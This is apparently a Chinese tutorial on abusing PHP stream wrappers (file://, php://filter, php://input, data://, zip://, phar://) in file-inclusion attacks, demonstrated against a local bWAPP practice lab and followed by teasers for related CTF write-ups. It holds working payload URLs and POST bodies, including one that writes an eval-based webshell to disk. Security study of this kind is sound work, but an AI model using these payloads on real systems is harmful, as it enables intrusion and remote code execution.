关键词:
0x01 php伪协议
php伪协议其实就是支持得协议与封装这种协议一共有12种
file:// 访问本地文件系统
http:// 访问http/https网址
php:// 访问各个输入/输出流
data:// 数据
phar:// php归档
zlib:// 压缩liu
ftp:// 访问FTP(S)URLS
ssh2:// Secure shell2
rar:// RAR
ogg:// 音频流
except:// 处理交互式得流
glob:// 查找匹配得文件路建模式
下面对和文件包含以及命令执行相关得伪协议介绍一下
0x02 php伪协议实现命令执行
1 file:// 协议
- 条件:
- allow_url_fopen: off/on
- allow_url_include: off/on
- 作用
用于访问本地文件系统,通常用来读取本地文件且不受allow_url_fopen 和allow_url_include得影响 - 说明
file:// 文件系统使用得默认封装协议,展现本地文件系统,当指定得为相对路径时,提供得路径是基于当前得工作目录得。
- 示例
1.file://+绝对路径
http://localhost/bWAPP/rlfi.php?language=file://D:\\phpstudy\\WWW\\phpinfo.txt&action=go
2 文件得相对路径
http://localhost/bWAPP/rlfi.php?language=../phpinfo.txt&action=go
3 网络路径
http://localhost/bWAPP/rlfi.php?language=http://127.0.0.1/phpinfo.txt&action=go
利用条件:
allow_url_fopen = on
allow_url_include = on
2 php:// 协议
-
条件
-
allow_url_fopen : off/on 都可以
-
allow_url_ include: 仅php://input php://stdin php://memory php:temp 需要on
-
作用
php:// 访问各个输入/输出流(I/O streams)在ctf中经常使用 php://filter 和php:inpu
php://filter 用于读取源码
php://input 用于执行php代码 -
说明
php提供了一些杂项输入/输出 (IO)流,允许访问php输入输出流,错误描述符等
php://input 可以访问请求的原始数据的只读流,在post请求中访问post的data部分 ,
在enctype="multipart/form-data"的时候无效
php://output 只写的数据流,允许以print和echo 一样的方式写入到输出缓冲流
php://memory和php://temp:是类似文件包装器的数据流,允许读写临时数据,区别是:
php:memory:总是把数据存储在内存中
php://temp 会在内存量达到预定义的限制后存入临时文件中
php://filter 主要用于数据流打开时的筛选过滤应用,对于一体式(all-in one)文件函数非常有用,类似,readfile() 、file() 和file_get_contents() 在数据流内容读取之前没有机会应用其他过滤器
php://filter 参数详解
参数 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须项。制定了要筛选过滤的数据流 |
read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器的名称,以管道符分割 |
write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器的名称,以管道符分割 |
<;两个链的过滤器> | 任何没有以read= 或write=做前缀的筛选器列表会视情况应用与读或写链 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode&convert.base64-decode | 等同于base64_encode()和base64_decode(),base64编码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码 |
- 示例
1 php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
http://localhost/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=../phpinfo.txt&action=go
PD9waHANCiRhID0gIDU7DQokYiA9IDM7DQokYyA9ICRhICsgJGI7DQplY2hvICRjOw0KDQpldmFsKHBocGluZm8oKSk7DQoNCj8+
下图解码为:
<?php
$a = 5;
$b = 3;
$c = $a + $b;
echo $c;
eval(phpinfo());
?>
2 php://input +[POST DATA]执行php代码
http://localhost/bWAPP/rlfi.php?language=php://input
DATA部分:
<?php system(systeminfo) ?>
3. 若有写权限,可以写一句话木马
http://localhost/bWAPP/rlfi.php?language=php://input
DATA部分:
<?php fputs(fopen('1.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
执行后可以看到1.php写入成功
3 data协议
-
条件
-
allow_url_open:on
-
allow_url_include: on
-
作用
自php>5.2.0起 可以使用data://数据封装器,以传递相应格式的数据,通常可以用来执行php代码 -
用法
data://text/plain,
data://text/plain;base64,
- 示例
1 data://text/plain
http://localhost/bWAPP/rlfi.php?language=data://text/plain,<?php%20phpinfo();%20?>&action=go
2 data://text/plain;base64
http://localhost/bWAPP/rlfi.php?language=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==&action=go
4 http:// & https://
- 条件
allow_url_open: on
allow_url_include:on - 作用
常规URL形式,允许通过HTTP 1.0 的 GET方法,以只读访问文件或资源,CTF中通常用于远程包含- 示例
http://localhost/bWAPP/rlfi.php?language=http://127.0.0.1/phpinfo.txt&action=go
5 zip:// &bzip2:// & zlib:// 协议
-
条件
allow_url_fopen:off/on
allow_url_include:off/on -
作用
zip:// &bzip2:// &zlib:// 均属于压缩流,可以访问压缩文件中的子文件,而且还不需要指定后缀明,可以修改为任意后缀:jpg png gif xxx等 -
示例
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
压缩phpinfo.txt为phpinfo.zip ,然后将压缩包重命名为phpinfo.jpg
http://localhost/bWAPP/rlfi.php?language=zip://D:\\phpstudy\\WWW\\phpinfo.jpg%23phpinfo.txt&action=go
此时
allow_url_fopen:off
allow_url_include:off
6 phar:// 协议
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
http://localhost/bWAPP/rlfi.php?language=phar://D:\\phpstudy\\WWW\\phpinfo.zip/phpinfo.txt&action=go
php伪协议的妙用(代码片段)
filter协议的简单利用php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容读取之前没有机会... 查看详情
由一段代码引发的血案,md5绕过,foreach,php伪协议(代码片段)
md5绕过,foreach和extract函数,php伪协议第一部分0.起因读《白帽子讲Web安全》里的一段代码$chs=\'\';if($_POST&&$charset!=\'utf-8\') $chs=newChinses(\'UTF-8\',$charset); foreach($_POSTasas$key=>$value) $$key=$chs->Conv 查看详情
ctf_web:文件包含与php伪协议(代码片段)
前言在CTF题目中文件包含和伪协议使用也是常见的一类题目,常见的主要使用include()、require()等函数与其搭配产生可利用的漏洞或命令执行。0x01什么是文件包含在开发的过程中,开发人员为了更好地使用代码的重用性,不... 查看详情
网络安全篇php伪协议-漏洞及其原理(代码片段)
🏆今日学习目标:🍀学习php伪协议✅创作者:贤鱼⏰预计时间:35分钟🎉个人主页:贤鱼的个人主页🔥专栏系列:网络安全🍁贤鱼的个人社区,欢迎你的加入贤鱼摆烂团🍁如果有... 查看详情
cisp-pte考前练习-文件包含(代码片段)
文章目录⽂件包含漏洞利⽤的前提伪协议⽂件包含常⽤伪协议使用file://访问本地⽂件系统php://访问输⼊/输出流phar://PHP归档伪协议利⽤⽅式题目1:题目要求解题过程题目2:text/plain协议题目要求解题过程题目3:php://fi... 查看详情
文件包含与php伪协议实战演练(代码片段)
...个函数二、本地文件包含、远程文件包含的区别三、PHP伪协议测试代码目标文件常用协议1、目录遍历获取flag2、php://input、php://filter3、file://4、data://5、zip://一、PHP中造成文件包含的四个函数1、include()、require()当使用include()函数... 查看详情
ctf之“试试协议”(代码片段)
参考链接CTF(phpinfo)—使用封装协议读取PHP协议第一步根据提示点击第二步根据提示点击http://10.1.1.147:5010/index.php?file=flag.php第三步使用php伪协议http://10.1.1.147:5010/index.php?file=php://filter/read=convert.base64-encode/resou 查看详情
ctf之“试试协议”(代码片段)
参考链接CTF(phpinfo)—使用封装协议读取PHP协议第一步根据提示点击第二步根据提示点击http://10.1.1.147:5010/index.php?file=flag.php第三步使用php伪协议http://10.1.1.147:5010/index.php?file=php://filter/read=convert.base64-encode/resou 查看详情
xctf-攻防世界ctf平台-web类——4web_php_include(代码片段)
目录标题方法一、文件包含:php://input伪协议绕过strstr()函数方法二、文件包含:GET方式提交命令方法三、data://伪协议方法四、一句话木马连接后台方法五、data://伪协议+一句话木马打开题目地址:代码:<?php... 查看详情
安全-php://filter文件包含分析(bugku)(代码片段)
文章目录前言一、题目二、WriteUp三、伪协议分析[1].本地复现[2].构造过滤器前言学习一下php伪协议php://filter和file://,php://可以看成和file://平级的参考PHP:iconv-ManualPHP:php://-ManualPHP:stristr-ManualPHP:strstr-Manual谈一谈php://filter的妙用... 查看详情
[bjdctf2020]zjctf,不过如此(代码片段)
...phpelsehighlight_file(__FILE__);?>绕过限制,首先用php://input伪协议或着用data伪协议读取Ihaveadream,然后用filter伪协议读取next.php?text=data://text/plain,Ihaveadream&file=php://filter/convert.base64-encode/resource=next.php获取next.php的源码<?php$id=$_GET[... 查看详情
flag在index里(代码片段)
Note:php伪协议:file://—访问本地文件系统http://—访问HTTP(s)网址ftp://—访问FTP(s)URLsphp://—访问各个输入/输出流(I/Ostreams)zlib://—压缩流data://—数据(RFC2397)glob://—查找匹配的文件路径模式phar://—PHP归档ssh2://—SecureShell2rar://... 查看详情
php伪协议(文件包含)
php支持多种封装协议一.实验环境dvwa平台low级别,phpstudy中设置为5.4.45版本*将php.ini中的allow_url_fopen和allow_url_include都改为On需要四个文件:1.index.php(默认有,在phpStudy\\PHPTutorial\\WWW\\DVWA-master\\vu 查看详情
iic协议上手(代码片段)
1.IIC开始信号,时钟线保持高,数据线由高变低(下降沿)开始信号伪代码(delay是延时)SCL=1;SDA=1;delay_us(4);SDA=0;delay_us(4);上面已经完成了起始信号的产生,但是我们还应该考虑数据的方向性开始信号优... 查看详情
百度杯(代码片段)
...方法1.利用php://input+post覆盖原有变量。2.利用php://filter伪协议读取文件目录。第一种方式bp抓包后修改数据system函数作为命令执行函数会使文件列出自己的目录。这个就是要用的文件。之后利用php伪协议读取这段代码解码后3.attrac... 查看详情
网络通信协议(代码片段)
网络通信协议可分为三类通信协议伪协议第三方协议通信协议通信协议[1]由互联网工程任务组IETF[2]制定.我们可以在https://tools.ietf.org/或https://www.ietf.org/的RFCIndex页面查看它制定的标准:比如UniformResourceIdentifiers(URI)和UniformResourceLoca... 查看详情
文件包含漏洞全面详解(代码片段)
...SESSION文件4.包含临时文件四、远程文件包含(RFI)五、PHP伪协议1.file://协议2.php://协议3.ZIP://协议4.data://协议5.伪协议利用条件六、文件包含漏洞防护一、什么是文件包含漏洞1.文件包含漏洞概述和SQL注入等攻击方式一样,文件包... 查看详情
javascript伪协议
【javascript伪协议】将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含... 查看详情